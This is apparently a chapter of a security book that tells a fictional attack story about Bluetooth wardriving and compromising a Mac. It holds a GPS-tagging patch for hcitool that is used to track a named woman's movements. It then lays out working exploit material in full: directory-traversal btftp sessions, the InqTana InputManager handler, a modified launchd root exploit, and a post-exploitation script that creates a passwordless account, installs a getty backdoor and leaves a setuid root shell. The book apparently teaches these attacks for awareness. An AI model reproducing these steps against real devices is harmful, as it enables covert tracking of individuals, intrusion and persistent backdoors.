Previous Page
Next Page

PROBLEMS WITH BLUETOOTH SECURITY

Popularity:

10

Simplicity:

8

Impact:

10

Risk Rating:

9

There are a number of things that can become a problem from a security standpoint when you are dealing with a Bluetooth device. One issue is the fact that some Bluetooth devices can be easily associated with their owners. You might not see this as an issue until you consider that someone might be following and/or tracking your movements based on the signals that your Bluetooth device gives off.

The Bluetooth spec offers a method by which devices can advertise themselves to the rest of the world. In SIG terms, a device is either discoverable or nondiscoverable. Devices that inquire about the availability of other nearby devices have the ability to see devices that have been set to a discoverable state. Devices that are nondiscoverable cannot be seen via conventional inquiry methods, so they are, in essence, hidden from public view. Under some conditions, however, custom hardware and accompanying software can allow an attacker to discover a device regardless of its status.

In some cases, the ability to be discovered means the ability to be tracked. Devices typically have friendly names to help the owner identify and single out their device from others in the same area. Some manufacturers even choose to use the owner's name when setting the device name. As an example, a Bluetooth-enabled iBook may resemble the following if discovered during a wardriving session:

 00:14:51:5A:3D:20       K F...s iBook

As you can see, Apple blatantly uses the computer owner's name and type of computer to determine the Bluetooth name. Other vendors like to advertise their product name and model, which can be equally as dangerous with regard to tying a particular device to a particular individual:

00:10:60:29:4F:F1             Bluetooth Modem
00:03:89:AA:5A:AC             M2500 by Plantronics
00:07:A4:95:28:E2              Jabra BT110
00:15:0E:91:19:73             Anycom Stereo Headset
00:07:A4:21:ED:27              Jabra BT800
00:07:A4:79:05:3B             Motorola HS820
00:60:57:DC:32:04             Nokia 3660

Even without a friendly name, it is possible that information about a product can be identified by simply checking the OUI portion of the Bluetooth address against a common database of vendor names matched up to OUI numbers. For example, 00:60:57 should match up to Nokia-based phones.

An attacker might not be familiar with your name, but in some cases, she can spot you easily through a pair of binoculars or from across the room simply because you chose to purchase a particular brand of phone headset. Adding a simple GPS tag to a list of discovered Bluetooth devices can yield interesting results when done in a periodic manner. Composing a map of discoverable devices found within a certain time period and matched with a geographic location can be a simple task. In some cases, because of the disclosure of personal information, tracking an individual is as easy as tracking a device name.

Putting any "I am being followed" scenarios aside, you need to keep one other major consideration in mind. Bluetooth devices-no matter what brand or model-all rely on humans to write the software and firmware that make them function. If you have followed computer security at all in the past few years, you know that people simply make dumb code mistakes, and in some cases, these mistakes have security ramifications. Bluetooth devices are no exception to this general rule of thumb.

Attacks do exist for some of the core foundations within Bluetooth, such as the pairing process and encryption mechanisms; however, this chapter does not focus on those. Instead, it focuses on application-level security. As developers strive to provide new functionality and features, security vulnerabilities can be introduced inadvertently. Often, these issues will be uncovered and subsequently exploited.

For the average attacker, the tools to break Bluetooth pairing or crypto are simply not affordable; however, plenty of Bluetooth applications contain exploitable conditions that don't require an expensive rocket science-type approach. Because of this, you are more likely to get attacked by someone using an application-specific vulnerability than some high-tech equipment to eavesdrop on your device, such as the professional-grade Bluetooth sniffer from FTE shown here.

Image from book

Rather than continue to preach about what may or may not happen with real-world devices, let's move on to a fictional story in which we explore some of the avenues available to the common attacker. Keep in mind that the story and names are fictional, but the attacks and techniques are real.

Blue Driving

This story took place in the Midwestern United States during the middle of the summer. Because of the nice weather, boatloads of people were walking around the local strip malls or were just out enjoying the sun. Many of those people were wearing Bluetooth headsets or holding the latest phones on the market. Our villain, Jake, had spent the past few weeks testing out some recently purchased Blue-driving equipment. Perusing the parking lot of popular shopping centers had become part of Jake's daily life. Jake, like many before him, had recently discovered the joys of attaching an external antenna to a standard Bluetooth dongle. Several weeks ago, he purchased a Class 1 USB Bluetooth adaptor (shown here) with the sole intent of adding a pigtail and an N-type connector. With an N-type connector, his Bluetooth dongle could utilize a variety of standard 2.4- GHz antennas from Hyperlinktech.

Image from book

In order to modify a Bluetooth dongle for an external antenna, a certain level of soldering skill is required. For Jake this was no problem; soon after purchasing a dongle, he opened up the plastic that enclosed his Bluetooth chipset and began searching for the antenna leads.

Image from book

After desoldering the existing antenna wires, Jake attached an N-type connector to the circuit board. Getting the connector onto the circuit board was as simple as applying a few solder beads to the pads from which the old antenna was removed. Since the glue seal that held the adaptor together was broken, he then used a few zip ties to hold everything together.

Image from book

On the same day that Jake ordered his pigtail from Hyperlinktech, he also ordered a few 2.4-GHz antennas. The minimum order of $100 dictated that he had to get more than a single N-type pigtail. Hyperlinktech's 14-dBi Radome Yagi and 14-dBi Backfire antennas both caught his eye almost immediately. Not only did they look cool, but also purchasing two of them was a good way to meet the minimum price requirement.

By the time Jake got a chance to attach the Yagi to his pigtail, he had already fallen in love. The thought of the added distance alone just blew his mind. Not only could he single out stationary devices at a much greater distance, but also he could get away with aiming his Yagi out the window of his car while driving. Sitting in a crowded movie theater or coffee shop pressing Search for Devices on his Bluetooth phone was only mildly entertaining when compared to driving around with a menacing-looking Yagi hanging out the window.

Jake's first idea was to come up with a way to strap his Yagi to the front seat of his car so he could load up his laptop and take a drive. An old tripod from his father served as the base for his Blue-driving platform. The brackets that came in the Hyperlinktech box were pretty easy to attach to the camera mount on the tripod. A small nut and bolt were enough to hold the Yagi's bracket firmly against the tripod's cork mount. Once he screwed the Yagi into the bracket, he was ready to roll.

He didn't have to drive for a long time before he started getting results; as more and more cars passed, more and more devices appeared on his screen:

00:02:C7:15:76:84             BTGPS 157684
00:12:8A:60:4E:B9              BMW18723
00:0F:86:14:DC:2E              BlackBerry 7290
00:12:47:77:AA:E0              SCH-A950
00:02:C7:2B:6F:1D              mGPS2B6F1D
00:03:2F:20:B8:EA              PocketPC
00:0F:86:1C:12:94              BlackBerry 7250
00:08:3F:17:51:F3              LAND ROVER
00:0F:86:2C:A9:96             BlackBerry 7130e
00:0E:9F:29:33:F7              Audi UHV 0748
00:08:3F:17:B2:19              LAND ROVER
08:00:28:E5:C0:2B             PM325 by LG
00:0B:5D:61:71:50             LIFEBOOK3
00:0C:55:1B:80:AA              Motorola H500
00:0F:86:16:55:31              BlackBerry 7520
00:12:8A:FF:0B:77              BMW38521
00:13:6C:02:B3:14              TomTom GO 300
00:14:9A:EA:2A:78              BMW19827

He could not believe how many devices were showing up. Scanning with a stock dongle might turn up one or two devices here and there, but that simply did not compare with the dozens of devices now popping up within minutes. With a Yagi pointed out the front window of his car and directed at oncoming traffic, it seemed as if he couldn't go wrong.

Jake soon found himself sitting at stoplights, rubbernecking all over the place trying to get a visual on the devices he was seeing on his screen. Some of the devices were hard to miss; the device included with the Arctic Frost Land Rover HSE that was parked next to him, for example, couldn't be more obvious. Thanks to the device names, spotting expensive BMWs turned out to be no problem either.

Image from book

Jake realized that he needed somehow to archive his scans and tag them with GPS coordinates. Having thoroughly enjoyed himself already, he decided to go home and write a bit of code to track more effectively the devices he was running across. It was not long before he'd hacked together a little tool to do some of the dirty work. Since Jake was just looping hcitool scans, he decided it would be easiest to patch the hcitool code to add the GPS functionality he wanted.

After running across code by Bryce Nesbitt that parsed NMEA sentences from a serial GPS device, Jake merged it with hcitool.c from bluez-utils-2.23. He patched his bluez install with the following code that combined the two tools. Once he'd recompiled his tools and given them a quick test, it was time to call it a night.

--- bluez-utils-2.23/tools/hcitool.c     2005-10-29 19:04:29.000000000 -0400
+++ hcitool.c     2005-12-26 17:19:52.000000000 -0500
@@ -1,4 +1,26 @@
 /*
+     Merged code from Bryce Nesbitt with hcitool...
+     Added code to loop the hcitool scan via --loop option.
+     kf_lists[at]digitalmunition[dot]com
+     http://www.digitalmunition.com
+
+     animosity:/home/kfinisterre# hcitool scan
+     Scanning ...

+             00:60:57:DC:32:04       Nokia 3660
+             00:0C:A5:00:79:60        NAVMAN GPS ONE
+      animosity:/home/kfinisterre# rfcomm connect 0 00:0C:A5:00:79:60 1
+     Connected /dev/rfcomm0 to 00:0C:A5:00:79:60 on channel 1
+      Press CTRL-C for hangup
+
+     kfinisterre@animosity:~/bluez-utils-2.23/tools$ ./hcitool scan
+      Scanning ...
+      00:04:3E:65:A1:C8 Pocket_PC    lat: 39.xxxxxx lon: -83.xxxxxx sats: 6
+
+      kfinisterre@animosity:~/bluez-utils-2.23/tools$ tail -n1 hcitool-
ps.log
+      Pocket_PC, 00:04:3E:65:A1:C8, 39.xxxxxx,-83.xxxxxx, time: 214035,
ats: 6
+
+*/
+/*
  *
  *  BlueZ - Bluetooth protocol stack for Linux
  *
@@ -48,6 +70,7 @@


 #define for_each_opt(opt, long, short) while ((opt=getopt_long(argc, argv,
 short ? short:"+", long, NULL)) != -1)


+int gps(char *extra, char *extra2);
  static void usage(void);


 static int dev_info(int s, int dev_id, long arg)
@@ -410,12 +433,13 @@
 { "oui",     0, 0, 'O' },
 { "all",     0, 0, 'A' },
 { "ext",     0, 0, 'A' },
+     { "loop",    0, 0, 'L' },
 { 0, 0, 0, 0 }
 };


  static char *scan_help =
 "Usage:\n"
-      "\tscan [--length=N] [--numrsp=N] [--iac=lap] [--flush]
        [--class] [--info] [--oui]\n";
+      "\tscan [--length=N] [--numrsp=N] [--iac=lap] [--flush]
         [--class] [--info] [--oui] [--loop]\n";


 static void cmd_scan(int dev_id, int argc, char **argv)
 {
@@ -429,7 +453,7 @@
  struct hci_dev_info di;
  struct hci_conn_info_req *cr;
  int extcls = 0, extinf = 0, extoui = 0;
-      int i, n, l, opt, dd, cc, nc;
+      int i, n, l, opt, dd, cc, nc, loop = 0;


 length  = 8;     /* ~10 seconds */
  num_rsp = 0;
@@ -482,6 +506,10 @@

             extoui = 1;
              break;


+          case 'L':
+                  loop = 1;
+                  break;
+
      default:
             printf(scan_help);
             return;
@@ -532,7 +560,8 @@
              ba2str(&(info+i)->bdaddr, addr);


              if (nc) {
-                       printf("\t%s\t%s\n", addr, name);
+                       printf(" %s %s ", addr, name);
+                        gps(name,addr);
              continue;
             }


@@ -548,7 +577,8 @@
                        name[n] = '.';
              name[248] = '\0';


-                 printf("\t%s\t%s\n", addr, name);
+                 printf(" %s %s ", addr, name);
+                 gps(name,addr);
              continue;
       }


@@ -660,6 +690,21 @@


  close(dd);
 bt_free(info);
+
+      // Loop?
+      if(loop)
+      {
+          int k;
+          char hcicmd[512];
+           memset(hcicmd,'\0',512);
+           strcat(hcicmd,"./hcitool ");
+          for (k = 0; k < argc; k++)
+           {
+           strncat(hcicmd,argv[k],sizeof(hcicmd));
+          strncat(hcicmd," ",sizeof(hcicmd));
+           }
+          system(hcicmd);
+      }
 }


 /* Remote name */
@@ -2034,7 +2079,7 @@
  } command[] = {
 { "dev",    cmd_dev,    "Display local devices"                 },
 { "inq",    cmd_inq,    "Inquire remote devices"                },


-     { "scan",   cmd_scan,   "Scan for remote devices"               },
+     { "scan",   cmd_scan,    "Scan for remote devices and include GPS location" },
 { "name",   cmd_name,   "Get name from remote device"           },
 { "info",   cmd_info,   "Get information from remote device"    },
 { "cmd",    cmd_cmd,    "Submit arbitrary HCI commands"         },
@@ -2125,3 +2170,111 @@
 }
 return 0;
 }
+/*
+   Collect GPS data from a file, COM port or Serial port.  Parse NEMA-183 format
+    GPS sentences, convert from degrees minutes to decimal degrees, and write
+    the result to a text file.  The resulting file can then be used in ArcView GIS.
+
+    Compiles on: Windows, DOS, Linux and other POSIX Compatible Unix systems.
+   Author: Bryce Nesbitt
+   Website: http://www.obviously.com
+ */
+
+#include <stdio.h>
+#include <string.h>
+
+#define unless(x)   if(!(x))
+#define LINEBUF_SIZE    1024
+#define FILEBUF_SIZE    80
+
+// #define VERSION "0.5"
+
+char infilename[]  = "/dev/rfcomm0";
+char outfilename[] = "./hcitool-gps.log";
+
+char linebuf[LINEBUF_SIZE];
+char filebuf[FILEBUF_SIZE];
+
+struct gpsfix {
+    float   time;
+    float    lat;
+    float    lon;
+    float    lat_deg;
+    float    lon_deg;
+    int      quality;
+    int      numsats;
+};
+
+int parse_nema( char * , struct gpsfix * );
+
+int gps(char *extra, char *extra2)
+{
+FILE *fp_in;
+FILE *fp_out;
+struct gpsfix fix;
+char *portname = infilename;
+
+
+    unless( fp_in = fopen(portname, "r") ) {
+            printf("Unable to open %s for reading\n", portname);


+             return(5);
+             }
+
+    // Set line buffering.  But with Windows _IOLBF is ignored, how nice.
+    // So instead we set a small buffer that gets full all the time.
+     setvbuf( fp_in, filebuf, _IOLBF, FILEBUF_SIZE );
+     while( fgets( linebuf, LINEBUF_SIZE, fp_in ) ) {
+
+         if( parse_nema( linebuf, &fix ) ) {
+            // write gps data to temporary file...
+            sprintf(linebuf,"%s, %s, %f, %f, time: %06.0f, sats: %d\n", extra,
         extra2, fix.lat_deg, fix.lon_deg, fix.time, fix.numsats);
+             if( fp_out = fopen(outfilename, "a") ) {
+                    fputs( linebuf, fp_out );
+                     fclose( fp_out );
+                    //printf(" %s\n", linebuf);
+             return(0);
+                     }
+             }
+        }
+
+      fclose( fp_in );
+     printf("Exiting...\n");
+     unlink( outfilename );
+
+     return(0);
+}
+
+int parse_nema( char * nema_gps_string, struct gpsfix * fixit  )
+{
+    char    latdir,londir;
+    int      latDegrees;
+    float    latMinutes;
+    int      lonDegrees;
+    float    lonMinutes;
+
+    //
GPGGA,hhmmss.ss,ddmm.mmmm,n,dddmm.mmmm,e,q,ss,y.y,a.a,z,g.g,z,t.t,iii*CC
+    if( 0 == strncmp( "$GPGGA", nema_gps_string, 6 ) ) {
+
+        sscanf( nema_gps_string,
+                "$GPGGA,%f,%f,%c,%f,%c,%d,%d",


+                &fixit->time,&fixit->lat,&latdir,
             &fixit->lon,&londir,&fixit->quality,&fixit->numsats);
+
+         if(latdir == 'S')
+             fixit->lat = 0-(fixit->lat);
+         if(londir == 'W')
+             fixit->lon = 0-(fixit->lon);
+
+         latDegrees = (int)(fixit->lat/100);
+        latMinutes = (float)(fixit->lat - latDegrees*100);
+        fixit->lat_deg  = latDegrees + (latMinutes/60);
     // Convert to decimal degrees


+
+        lonDegrees = (int)(fixit->lon/100);
+        lonMinutes = (float)(fixit->lon - lonDegrees*100);
+        fixit->lon_deg  = lonDegrees + (lonMinutes/60);
    // Convert to decimal degrees
+
+        printf(" lat: %f lon: %f sats: %d\n", fixit->lat_deg, fixit->lon_deg,
fixit->numsats );
+
+        return(1);
+        }
+    return(0);
+}

For the next few weeks, Jake took his Yagi out around rush hour and cruised outdoor strip malls as often as he could. For some reason, this was quite a bit more fun than casually scanning for someone to send a message to in a crowded bar. The best part was the fact that now with GPS, Jake was starting to see trends in where certain types of devices and, in some cases, people turned up. He found it funny that BMWs, Land Rovers, and Audis all showed up in the more snobby sections of town. People that used BlackBerry devices seemed to be all over the damn place, and Macintosh users with their laptops seemed to frequent local cafés like Starbucks and Cup O' Joe. What he could find and where became almost predictable.

Image from book

Of all the Bluetooth devices Jake was coming across, he took a particular liking to Macs. The default configuration for a Mac was to use the owner's information as the Bluetooth name, almost always <first name> <last name>'s computer. In some cases, this meant that a Bluetooth-enabled Mac could make all the difference in putting a name with a face. Spotting the white ergonomic-looking Mac eye candy is almost as easy as spotting a fancy sports car.

After going through multiple GPS logs from a week's worth of Blue-driving, Jake noticed that someone named Monica Smith always seemed to be near a Cup O' Joe location about a mile away from his house. Because the GPS coordinates are only recorded when his antenna picks up a device, he couldn't be 100 percent sure that Monica was actually at the Cup O' Joe, but the logs were pretty consistent. At that moment, Jake decided that endlessly gathering data about Bluetooth devices and their locations was losing its appeal. It was time to try and actually gather some information from one of these random devices. Monica's device seemed the most interesting to Jake so he decided to see if he could find her at her usual spot and get to know her a little better.

Scanning and Enumerating Bluetooth

Jake decided to gather up his gear around the time that Monica's device was usually seen at the café. He thought it would be best to find her from a low-key location in the parking lot. It seemed like he sat forever and ever waiting and waiting and then she finally showed! He must have watched hcitool loop for 15 minutes or more before her name popped up.

jakez0r:/home/jake# while true
> do
> hcitool scan -flush; sleep 15
> done
Scanning ...
Scanning ...
Scanning ...
Scanning ...
Scanning ...
Scanning ...
...
Scanning ...
        00:11:95:4F:60:1F        Monica Smith...s iBook
Scanning ...
        00:11:95:4F:60:1F        Monica Smith...s iBook
Scanning ...
        00:11:95:4F:60:1F        Monica Smith...s iBook

With the antenna aimed straight at the patio for Cup O' Joe, Jake seemed to have pinned Monica down to a stationary location at the very least. At this point, every loop of hcitool showed only her laptop. While he had the opportunity, he decided it would be a good idea to gather some details on exactly what Monica was using. A quick sdptool browse told Jake what services her laptop had available.

Image from book
jakez0r:/home/jake#  sdptool browse 00:11:95:4F:60:1F
Browsing 00:11:95:4F:60:1F ...
Service Name: OBEX Object Push
Service RecHandle: 0x10002
Service Class ID List:
  "OBEX Object Push" (0x1105)
Protocol Descriptor List:
  "L2CAP" (0x00000100)
  "RFCOMM" (0x0003)
    Channel: 10
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "OBEX Object Push" (0x1105)
    Version: 0x0100

Service Name: OBEX File Transfer
Service RecHandle: 0x10003
Service Class ID List:
  "OBEX File Transfer" (0x1106)
Protocol Descriptor List:
  "L2CAP" (0x00000100)
  "RFCOMM" (0x0003)
    Channel: 15
  "OBEX" (0x0008)
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "OBEX File Transfer" (0x1106)
    Version: 0x0100


Service Name: Bluetooth-PDA-Sync
Service RecHandle: 0x10004
Service Class ID List:
  "Serial Port" (0x1101)
Protocol Descriptor List:
  "L2CAP" (0x0100)
  "RFCOMM" (0x0003)
    Channel: 3
Language Base Attr List:
  code_ISO639: 0x656e
  encoding:    0x6a
  base_offset: 0x100
Profile Descriptor List:
  "Serial Port" (0x1101)
    Version: 0x0100

Jake quickly noticed that there was a File Transfer Profile listening on Monica's computer. He immediately ran the btftp command-line tool from bluez-cvs against the Bluetooth address of Monica's Mac. Jake was happy to find that the service did not require him to authenticate, and he was able to connect right away without even entering a PIN number.

jakez0r:~/GenerationTwo# btftp 00:11:95:4F:60:1F 15
Connected to 00:11:95:4F:60:1F.
ftp> ls

Unfortunately, no sooner had he typed ls than his connection was dropped. btftp seemed to hang for some reason and his laptop began freaking out. The power management kicked on and began blowing the fan at a high intensity. Wondering what was going on, Jake opened up another terminal and launched top. btftp was taking up 100 percent of the CPU time, so it was most likely responsible for the fan kicking into high gear.

To make sure his Bluetooth stack was still okay, Jake ran another hcitool scan. This time, to his surprise, he saw nothing. In the moment that his laptop had flipped out, Monica has disappeared.

Moments after wondering where she had gone, an attractive brunette walked out of Cup O' Joe with a small white iBook under her arm. Jake quickly folded his laptop and took the Yagi down from the front seat. By the time he had driven to the section of the parking lot where he spotted Monica, she had already left the area. With a potential ID on her, Jake felt that he had accomplished quite a bit for the day, so he decided it was time to head home again.

Once at home, Jake started researching what sort of Bluetooth functionality Macs should have available. One of the first items in the search engine listings was called Apple Mac OS X Bluetooth Directory Traversal Vulnerability. Although he searched only for Bluetooth and OS X in his query, this particular vulnerability ranked fairly high in the search results. The advisory that Jake eventually clicked on stated, "Due to insufficient sanitization of input, the Bluetooth file and object exchange services could be used by a remote attacker to access files outside the default file exchange directory."

Even though he was only after some basic details about OS X Bluetooth functionality, Jake was not going to complain about having a vulnerability fall right into his lap. After reading up on the directory transversal problem, he remembered hearing about an academic worm called InqTana for Apple machines that was written using the exact bug he had just read about. The author of the worm wrote a paper and released code as an early warning that folks should be as diligent as possible with regard to patching their OS X machines. He wondered how diligent Monica had been with her machine. Had she taken the time to patch her machine recently?

Jake spent the next few days trying to catch Monica long enough to actually stay connected to her laptop. He figured out that his choice of parking was not exactly the best; although the spot was fairly concealed, the signal was weak. When Monica stepped out of her car, her laptop was usually on and discoverable, but once she went into the store and waited in line to pay she sometimes dropped from view momentarily.

By moving to the opposite side of the storefront, Jake got a much clearer line of sight straight into the café. With optimal line of sight, Jake calculated that, on average, he had about seven minutes to attempt to access Monica's Mac.

From an orchestration standpoint, it made the most sense for Jake to actually be inside the café shortly before Monica was due in. Being inside the store would allow him to eliminate the need for his large Yagi. At such a close range, using a class 1 dongle alone should be plenty to get a good signal from Monica's laptop. At the very least, he wouldn't be sitting in the parking lot with a large menacing-looking antenna. If he could get there a few minutes before she arrived, he would have time to get a few terminals ready for some quick recon. Seven minutes should be plenty of time to make a file transfer connection and to try to obtain a few directory listings.

Jake sat waiting for Monica, ready to execute his plan. He thumbed the ENTER key on his keyboard as he waited. With the execution of a simple keystroke, the terminal would connect to Monica's file transfer service. Jake had also placed four commands in his paste buffer as a way to save time. As soon as she showed, everything should go pretty quickly.

As he sipped his hot chocolate and stared at his screen, Jake waited anxiously for an indication that Monica was in the area. Roughly three minutes earlier than usual, she arrived at the café. In typical fashion, she carried her laptop under her arm. Being this close, Jake could now see the little D-Link Bluetooth dongle that had made his virtual introduction to Monica possible.

While she ordered her drink and waited for the barista to brew it up, Jake went to work. He pressed ENTER on his btftp connection and quickly pasted his command buffer into the window. After what seemed like an eternity, a connection banner from btftp greeted Jake. Seconds later, what appeared to be a directory listing appeared on the screen:

jakez0r:/home/jake# btftp 00:11:95:4F:60:1F 15
Connected to 00:11:95:4F:60:1F.
ftp> cd ../../../../../../../../tmp
ftp> put test.txt
100 bytes sent
ftp> ls
drwxr-xr-x            Jul 12 19:51 ..
-rw-r--r--          0 Jul 12 19:51 cs_cache_lock_92
-rw-r--r--       100 Jul 12 19:51 test.txt
-rw-r--r--         24 Jul 12 19:51 objc_sharing_ppc_92
ftp> quit
Disconnected.

Jake could not believe that she actually had what appeared to be a completely unpatched version of 10.4 installed on her Mac laptop. This was great because, in theory, Jake should be able to take a file from anywhere on her file system that she had access to. In addition, he should be able to place a file anywhere that she had write access.

Without even thinking, Jake looked at his watch as if he were late to a meeting. He finished his drink quickly, grabbed his laptop, and walked out of the store before Monica even sat down. On the way home, he tried to remember what exactly made the worm that he had read about work. InqTana-as it was called by F-secure, the company who broke the worm to the media-didn't do much short of spread if he remembered correctly. Because InqTana was able to replicate itself, some sort of code execution had to be taking place, so Jake decided that as soon as he got home it was research time again. He needed to figure out exactly what made InqTana tick if he was going to get any further with Monica's Mac.

InqTana Revisited

After reading the worm author's paper, "InqTana through the eyes of Dr. Frankenstein," Jake knew what technical bits he needed to leverage the directory transversal vulnerability into something a bit more productive. The important piece of code lay in the worm's handler:

//
//  InqTanaHandler.m
//  InqTanaHandler
//
//  Created by Kevin Finisterre on 2/19/06.
//  Copyright 2006 __MyCompanyName__. All rights reserved.
//


#import "InqTanaHandler.h"
#import </usr/include/objc/objc-class.h>


@implementation InqTanaHandler
- init
{
    if (self=[super init])
{
printf("If you are seeing this then you are pwned!\n");
system("touch /tmp/stachliu");
}
    return self;
}
@end

Jake knew that in order to do anything interesting at all he first needed to obtain root on Monica's machine. Since she appeared to be running a stock version of 10.4, the recently disclosed launchd exploit seemed perfect as far as Jake was concerned. All he needed to do was perhaps change the payload to InqTana and find a way to run the existing launchd exploit without needing to actually type anything.

After removing a small snippet of code from FailureToLaunch.pl, which came with the worm's advisory, Jake had all the flexibility he needed. He figured that his plan of attack would be to upload a malicious InputManager to Monica's Mac in the same manor that InqTana did. Once it was in place, the InputManager would then run Jake's modified Failure to Launch exploit. The code for the InputManager was modified to include the following sequence of commands:

chmod +x /tmp/FailureToLaunch-ppc.pl; chmod +x /tmp/sh; chmod +x /tmp/pwn;
 cd /tmp/; ./FailureToLaunch-ppc.pl & sleep 1 ; launchctl load ./com.pwnage.plist

These commands would effectively cause the InputManager to take local root on Monica's computer by executing the Failure to Launch exploit. Jake had patched FailureToLaunch.pl so it would no longer place the binary that calls seteuid(0) followed by system(/bin/sh) in /tmp/. Instead of allowing the script to create / tmp/sh, Jake would upload his own file just prior to the exploit running:

   --- FailureToLaunch-ppc.pl      2006-06-30 00:40:33.000000000 -0400
+++ FailureToLaunch-jakez0r.pl 2006-08-09 12:08:44.000000000 -0400
@@ -66,9 +66,9 @@
  "%" . 0xbfff . "d%112\$hn" .
  "%" . 0x3ed9 . "d%113\$hn" ;


-open(SUSH,">/tmp/aaa.c");
-printf SUSH "int
ain(){seteuid(0);setuid(0);setgid(0);system(\"/bin/sh\");}\n";
-system("PATH=$PATH:/usr/bin/ cc -o /tmp/sh /tmp/aaa.c");
+#open(SUSH,">/tmp/aaa.c");
+#printf SUSH "int main(){seteuid(0);setuid(0);setgid(0);system(\"/bin/sh\");}\n";
+#system("PATH=$PATH:/usr/bin/ cc -o /tmp/sh /tmp/aaa.c");


 open(PWNED,">com.pwnage.plist");

He was pretty sure that Monica would not have Xcode installed on her Mac, so relying on the existence of the C compiler cc was probably dumb. He decided to precompile a binary that called /tmp/sh /tmp/pwn after a seteuid(0). This would allow him to upload the binary along with a command list that he would insert at /tmp/ pwn. Once his binary was subsequently executed, the list of commands found in pwn would also be run.

Although they were ever so slight, Jake knew that his changes to InqTana's InputManager combined with the small modification to FailureToLaunch.pl would make a fairly reliable remote exploit. The ability to spread code endlessly was an interesting academic exercise; Jake, however, needed something a little more robust and now he had it.

Figuring that it was good idea to test his new tool before he had his next encounter with Monica, Jake decided he needed to pick up a used Mac so he could do some more testing. A local used computer store had a 700-MHz G4 eMac that some idiot had dropped from a fairly good height. This poor eMac looked as if it had been dropped flat on its face. The cosmetic damage was pretty bad on the front bezel, but the system itself seemed to work just fine.

Image from book

Jake brought his new eMac system home, removed the damaged bezel, and installed a fresh version of Tiger. This particular Mac did not come with any Bluetooth device, so Jake also went out and bought the recommended dongle that Apple had advertised on their website.

After several hours of tinkering, Jake had come up with the lethal sequence of commands that would allow him to take complete control of any unpatched Mac, including Monica's. He copied a small script of commands into the clipboard buffer so he wouldn't have to type all the commands by hand. He exploited his eMac for a final time to verify his technique:

jakez0r:/home/jake# btftp 00:14:51:69:04:20 15
Connected to 00:14:51:69:04:20.
ftp> cd ../Library
ftp> mkdir InputManagers
ftp> cd InputManagers
ftp> mkdir pwned
ftp> cd pwned
ftp> put Info

458 bytes sent
ftp> mkdir InqTanaHandler.bundle
ftp> cd InqTanaHandler.bundle
ftp> mkdir Contents
ftp> cd Contents
ftp> mkdir MacOS
ftp> cd MacOS
ftp> put InqTanaHandler
173324 bytes sent
ftp> cd ../../../../../../../../tmp
ftp> put FailureToLaunch-ppc.pl
3192 bytes sent
ftp> put pwn
379 bytes sent
ftp> put sh
17000 bytes sent
ftp> quit
Disconnected.

After his initial payload was delivered, Jake reconnected to trigger his InputManager. If the file /tmp/stachliu existed, he knew his plan worked exactly as he had wanted. The existence of com.pwnage.plist would also let him know that the Failure to Launch exploit had been run successfully.

jakez0r:/home/jake# btftp 00:14:51:69:04:20 15
Connected to 00:14:51:69:04:20.
ftp> cd ../../../../tmp
ftp> ls
drwxr-xr-x             Jul 12 19:51 ..
-rw-r--r--         391 Jul 12 19:51 com.pwnage.plist
-rw-r--r--           0 Jul 12 19:51 cs_cache_lock_92
-rw-r--r--       3192 Jul 12 19:51 FailureToLaunch-ppc.pl
-rw-r--r--         24 Jul 12 19:51 objc_sharing_ppc_92
-rw-r--r--        379 Jul 12 19:51 pwn
-rw-r--r--       17000 Jul 12 19:51 sh
-rw-r--r--          0 Jul 12 19:51 stachliu
ftp> quit
Disconnected.

At this point, Jake was thrilled with his work. He still had a lot ahead of him, but the difficult part was out of the way. With root access to Monica's computer, Jake could do quite a bit. He decided to come up with a sequence of events for his tool to accomplish:

  1. Exploit CAN-2005-1333 (blued) to obtain access to the logged-in user's account.

  2. Exploit CVE-2006-1471 (launchd) to obtain root.

  3. Dump the contents of /private/var/root/Library/Preferences/ blued.plist.

  4. Add a user account to use for shell access.

  5. Leave a setuid root shell for easy access to uid 0.

  6. Set up a getty on the Bluetooth-PDA-Sync port.

Given the level of access Jake would have, he was in a position to fully compromise Monica's entourage of Bluetooth-enabled accessories. Once he had access to her Mac, he would be able to steal the linkkeys that her computer had stored to access the other devices. Being an avid Mac user, she no doubt had her cell phone and a headset paired up with her laptop. Jake had a pretty good chance at getting into Monica's phone just so long as she had configured iSync to talk to her phone. Every time that Jake had seen Monica over the past week, she had a Bluetooth headset close by. He figured if he was lucky she had also paired it with her Mac, perhaps to use with iChat or iTunes.

Having a pretty good idea of what needed to be done now, Jake set out to get his toolkit completely ready to go. It was clear that he would need a getty to serve him up a shell. Jake noticed early on that the Bluetooth-PDA-Sync port typically did not respond when he connected to it. The only time it seemed functional was when iSync was open. It was pretty obvious to Jake that blued opened the port and simply waited for a helper program to take control.

The fact that a Bluetooth serial port was already available saved Jake a few post-exploitation configuration changes. The default getty that was included with OS X was not really sufficient for Jake's plans so he decided to compile mgetty+sendfax specifically for OS X. The resulting binaries were perfect for serving up /bin/login over a Bluetooth connection. All that Jake would need to do was to supply the proper config files and the mgetty binary. He'd need a valid /etc/ttys file in place so his shell would fire off whenever Monica's computer was rebooted. Once his exploit had finished, Jake knew that he should get a shell prompt when a connection was made to the Bluetooth-PDASync port. This functionality came compliments of the following /etc/ttys entry:

tty.Bluetooth-PDA-Sync "/usr/local/sbin/mgetty "   unknown on secure

Because he did not know Monica's password, it made sense to just add himself as a user while he was root and perhaps leave himself a mechanism to become uid 0 when he needed to as well. Jake compiled the list of commands to accomplish all of his plans and created a file named pwn to upload along with the initial payload:

cd /tmp
cp ttys /etc/ttys
mkdir -p /usr/local/etc
mkdir -p /usr/local/etc/mgetty+sendfax
mkdir -p /usr/local/sbin

cp mgetty /usr/local/sbin
chmod +x /usr/local/sbin/mgetty
cp login.config /usr/local/etc/mgetty+sendfax
cp mgetty.config /usr/local/etc/mgetty+sendfax
cp ttys /etc


niutil -create . /users/bluetooth
niutil -createprop . /users/bluetooth gid 666
niutil -createprop . /users/bluetooth uid 666
niutil -createprop . /users/bluetooth shell /bin/sh
niutil -createprop . /users/bluetooth home /users/bluetooth
niutil -createprop . /users/bluetooth realname "pwned mghee"
niutil -createprop . /users/bluetooth passwd ''
mkdir /users/bluetooth
cp /tmp/shX /users/bluetooth
/usr/sbin/chown -R bluetooth /users/bluetooth
chgrp -R 666 /users/bluetooth
chmod 755 /users/bluetooth
/usr/sbin/chown root: /users/bluetooth/shX
